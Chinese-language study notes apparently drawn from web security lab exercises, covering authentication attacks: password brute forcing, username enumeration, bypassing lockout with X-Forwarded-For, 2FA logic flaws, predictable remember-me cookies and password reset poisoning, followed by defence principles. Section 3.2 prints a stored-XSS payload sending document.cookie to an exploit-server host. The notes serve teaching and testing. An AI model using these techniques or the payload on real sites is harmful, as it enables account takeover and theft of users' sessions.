1. 身份验证简介

1.1 What is authentication

身份验证是验证用户或客户端身份的过程。网站暴露在互联网上，所以健壮的身份验证机制是Web安全的重要组成部分。
有三种主要的身份验证类型：

1. know，比如密码或安全问题的答案，也被称为"知识因素"
2. have，比如移动电话、邮箱或安全令牌，也被称为"占有因素"
3. are，比如生物特征或行为模式，也被称为"内在因素"

身份验证机制依赖于一系列技术来验证这些因素中的一个或多个（多因素认证）

1.2 difference between authentication and authorization

身份验证是验证用户是他们所声明的身份的过程。
授权是验证这些用户是否有权限执行某些操作。
用户通过身份验证后，他们拥有自己被授权执行的操作。

1.3 身份验证机制失效的原因

大多数身份验证机制失效的原因是：

1. 弱口令，无法防止暴力破解
2. 验证机制具有逻辑缺陷，导致攻击者能够绕过身份验证

1.4 身份验证机制失效的影响

如果攻击者绕过身份验证进入另一个用户账号，就可以访问另一个用户的数据和功能（水平越权）。如果能够获取高级权限用户，如管理员，就可能控制整个Web应用（垂直越权）。

即使获取的是低权限用户，攻击者仍然能访问不该访问的数据。即使该账户没有敏感数据的访问权限，仍然有可能访问其他界面，扩展攻击面。
通常，高危的攻击不会来自可公开访问的页面。

2. 基于登录功能的漏洞

弱口令可以被暴力破解攻破，即使做了防御，也可能存在缺陷。

2.1 密码爆破

1. 暴力破解并不是对密码和用户名进行随机的猜测。而是根据搜集到的公开信息和基本逻辑，针对性地生成字典。
   如已知邮箱可推测用户名，firstname.lastname@company.com

   • 比如上次碰到的wangmou，他的邮箱是 mou.wang@company.com

2. 即使没有明显的模式，也可以尝试可预测的用户名，如admin。有人会统计一些常见的用户名。

3. 此外，不登陆的情况下能否查看一些相关配置文件（未授权访问），前端页面，HTTP响应（比如修改密码的报错）等，都有可能暴露一些用户的信息。

4. 即使网站规定必须使用高熵密码，用户也可能采取一些措施避免过于复杂的密码。如password不可行，就会尝试password1，如果规定定期修改密码，那么可能会尝试password2… etc.。只定期对密码进行轻微的、可预测的更改。

2.2 用户名枚举

已经很少有网站在登录接口回显精确的用户名错误信息。
但是，这并不意味着：

5. HTTP响应包没有具体的回显信息，可能开发者做了一个注释，自己都没有意识到是信息泄露
6. 除了登录，其它如修改密码、忘记密码等和用户相关的接口，都可以尝试，查看提示与返回包内容
7. 即使只是很小的区别，并且网页不可见，但只要响应包出现了变化，那么就有可能帮助我们进行枚举
8. 如果大多数请求的响应时间相同，响应时间异常的可能用户名就是正确的，可以通过输入较长的密码增加这个延时。
   优先单独爆破用户名，查看是否有区别
   
   虽然爆破的账户密码不在其中，但是由于设置了比较复杂的密码，这些响应时间较长的用户名仍然可能存在。
   
   当枚举较多次数，有可能被限制IP，此时可以尝试添加X-Forwarded-For请求头， 绕过该限制。
   
   当我们设置一个非常长的密码，去爆破用户名时，会得到一些响应时间比较长的用户名，此时也无法确认是否是网络延迟还是真实用户名。可以重复发送几次数据包确认
   
   如果登录后会跳转登录页面，那么查看302状态码的请求包，就是正确密码。

2.3 有缺陷的暴力破解防护

防止暴力破解最常用的两种方法是：

2.3.1 如果用户登录尝试失败次数过多，就锁定该账户

对于登录失败锁定账户的策略，可能的绕过方式是：

1. 建立一个可能有效的用户名列表，增加枚举成功率
2. 选择一个至少有一个用户可能拥有的最小的密码列表，这个数量不能超过登录限制次数（如限制三次，密码表就只能有三个）
3. 使用暴力破解，循环爆破这些用户名和密码

此外，账户锁定也无法阻止凭据填充攻击，网络上有泄露的username:password字典，这些是真正的登录凭据。而很多人在不同网站上使用相同的登录凭据。

以上面两图为例，有的网站只会对真正的账户施加锁定策略，这可以帮助我们识别真的用户名。
而在爆破正确的密码后，虽然网站阻止了我们登录，但是并没有显示报错信息。

2.3.2 如果某IP在短时间内尝试多次登录，就锁定该IP

这有可能被XFF绕过，
在某些代码逻辑中，如果IP所有者成功登录，则失败计数器重置。这意味着攻击者只需要每隔几次尝试登陆到自己的账户就可以绕过判定，而这只需要在字典中间隔插入正确的登录凭据。

首先，通过尝试，确认登录失败3就会封禁IP，而登录成功就会刷新错误计数。即可每隔两次输入一次正确登录凭证。这里要注意的是：并发只能选择1个，这样会顺序执行字典爆破，筛选302重定向页面，得到carlos密码。这里一个已有账户的登录响应包也可以作为参考

IP被锁定后，一般有三种解锁方案：等时间结束、管理员解锁、用户手动输入CAPTCHA验证码。该限制一般基于IP地址发送的HTTP请求速率，因此除了获取更多IP地址外，如果可以一次请求猜测多个密码，有时也能绕过去。

2.4 HTTP身份验证

HTTP身份验证，客户端从服务器接收身份验证令牌，令牌通过base64编码用户名和密码构造。
在后续的请求中，添加到Authorization:base64(username:password)
HTTP身份验证通常是不安全的：

1. 每次请求发送登陆凭据，除非网站实现了HSTS，否则容易被中间人捕获
2. 令牌由静态值组成，容易被暴力破解
3. 容易受到会话相关漏洞的攻击，特别是CSRF
4. 这种方式暴露的凭证可能会在更重要的网页中被利用

2.5 多因素身份验证

多因素的安全性取决于实现，只有将多因素绑定在一起，才叫多因素认证。有些网站要求提供密码和验证码，而身份验证只校验邮箱验证码。

2.5.1 多因素身份验证的绕过

如果用户首先被提示输入密码，然后被提示在单独的页面上输入验证码，那么用户在输入验证码之前实际上处于“登录”状态。
在这种情况下，有必要进行测试，看看在完成第一个身份验证步骤后是否可以直接跳转到“仅登录”页面。有时候，你会发现网站在加载页面之前并没有检查你是否完成了第二步。
例如：login -> login2 -> login_id=username，此时我们可以尝试在login结束后，直接切换到login_id=username网页。
这种尝试一般需要有一个正确账户，查看登录步骤

2.5.2 双因素验证逻辑缺陷

有时，在用户完成初始登录步骤后，网站没有充分验证是否是同一用户正在完成第二步验证。
例如：
1）用户正常登录第一步验证
2）网站分配cookie，并要求进行第二步验证
如果网站通过cookie区分用户，那么可能会借助自己的cookie登录其他人的账户
即使攻击者无法获得验证码，这种漏洞存在，并且验证码可爆破， 那么就可以在没有第一步密码的情况下登录任意用户的账户。

在第二步修改cookie并进行爆破验证码

值得一提的是，有些情况响应包还会返回并在前端最后做一次确认。
还有一种情况可能是，

1. 借助我们自己的登录token、cookie等凭据，去尝试登录别的username，服务器会错认为他们也在登陆状态。
2. 借助测试网址的cookie，或其它边缘网站（保护较弱）的cookie，登录主站

3. 其它身份验证机制中的漏洞

除了登录功能外，网站还允许用户管理账户。如修改密码、忘记密码等。这些功能都可能引入新的漏洞。网站通常会避免登录功能存在漏洞，但可能在其它方面放松警惕。

3.1 "记住我"cookie可预测

即使是散列函数加密，在没有加盐的情况下，也是不安全的。
即便不通过爆破，其它的漏洞XSS等也可能导致cookie泄露。
如果网站是开源框架搭建的，那么cookie的加密算法可能是不安全的。

例如：登录网站后，添加了cookie

使用base64解码后

尝试hash解密得到wiener:peter，正是我们的username:password，因此可以推测其他用户的cookie（加密算法是MD5加密后拼接base64编码）

根据分析的cookie构造规则，在burpsuite爆破时候使用规则

三个处理：登录一个用户后，刷新页面，然后将id改为carlos、cookie利用既定规则爆破、清空session

这个案例也说明了hash加salt的重要性。

3.2 cookie窃取

在存在XSS漏洞的网页中，如果能够植入存储型XSS（多见评论功能），那么构造payload

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>

当有用户访问评论时，就会将cookie信息带外的DNSlog平台或XSS平台上。

3.3 重置密码

一些网站重置密码后，通过邮件直接发给用户，这是可能被窃取的。更安全的做法是，发送一个唯一的URL，设置用户的新密码。
第二种做法的隐患是，URL的参数可能是可预测的，这样就可以重置其它用户的密码。
更好的实现是利用一个高熵的URL，并且不体现用户信息。当用户访问该URL时，系统检查用户的令牌，如果存在，允许重置哪个用户的密码。短时间后此令牌过期，并且密码重置成功后立刻销毁。
但是，某些网站提交重置表单无法再次验证令牌，在这种情况下，攻击者可以简单地从自己的帐户访问重置表单，删除令牌，并利用此页面重置任意用户的密码。
尝试删除token值，如果还能更改密码，说明提交新密码时候没有检查token

3.4 密码重置投毒

X-Forwarded-Host:是一个http请求头，用于标识客户端原始请求的域名，在反向代理（负载均衡、CDN）后，后端可能只看到代理的IP。帮助后端服务器识别用户原始请求的域名。

Host:baidu.com
经过两个代理后：
Host:1.1.1.1 #代理服务器ip
X-Forwarded-Host:baidu.com 
#XFH通常不像XFF层层追加，而是只记录初始目标主机
X-Forwarded-For:用户IP, 代理IP1, 代理IP2

XFH可能被攻击者用于：

1. 缓存投毒
2. 密码重置投毒
3. SSRF

密码重置投毒案例：
Step1：尝试修改密码流程，抓包分析，发现是通过给用户绑定邮箱发送"固定域名+用户token"的URL用于修改密码
Step2：抓包，添加X-Forwarded-Host为恶意域名，同时将username修改为其它用户名
如果服务器端错误地优先使用X-F-Host而不是原始Host生成密码重置链接，那么会生成"恶意域名+token"，将token信息带外传出

Step3：利用获取的token访问真实的URL，修改用户密码

3.5 密码修改攻击

密码修改也可能存在逻辑漏洞，用户天然认为修改新密码的两次输入应该一致，但是如果不一致，可能会提供不同的消息提示。

1） 下图是输入错误的原密码，不相等的新密码的结果

2） 输入错误的原密码，相等的新密码，直接跳转到登录页面
3） 输入正确的原密码，不相同的新密码，提示新密码不匹配

尝试不同的组合，运气好的话，能够作为判断条件爆破出用户的密码，下图中，提交了隐藏的已登录用户的用户名，可以作为任意用户密码爆破的条件。

4. 身份验证机制攻击的防御

网站身份验证机制，应该始终遵循以下几个原则：

1. 保护登录凭据，通过HTTPS传递登录凭证，对登录凭据进行加密，确保可访问的文件或HTTP响应不会泄露用户名或电子邮件。
2. 不要依赖用户实施强密码策略，用户永远倾向于简单的密码
3. 防止用户名枚举，确保网页提示、HTTP响应等都不会体现不同的错误消息
4. 防御暴力破解，实施严格的基于IP的用户速率现在，在请求达到一定数量后，要求用户完成CAPTCHA测试
5. 对身份验证代码进行充分的审计
6. 除了登录功能外，修改密码、重置密码等也要做好防护
7. 实施2FA（双因素认证），并且确保认证逻辑可靠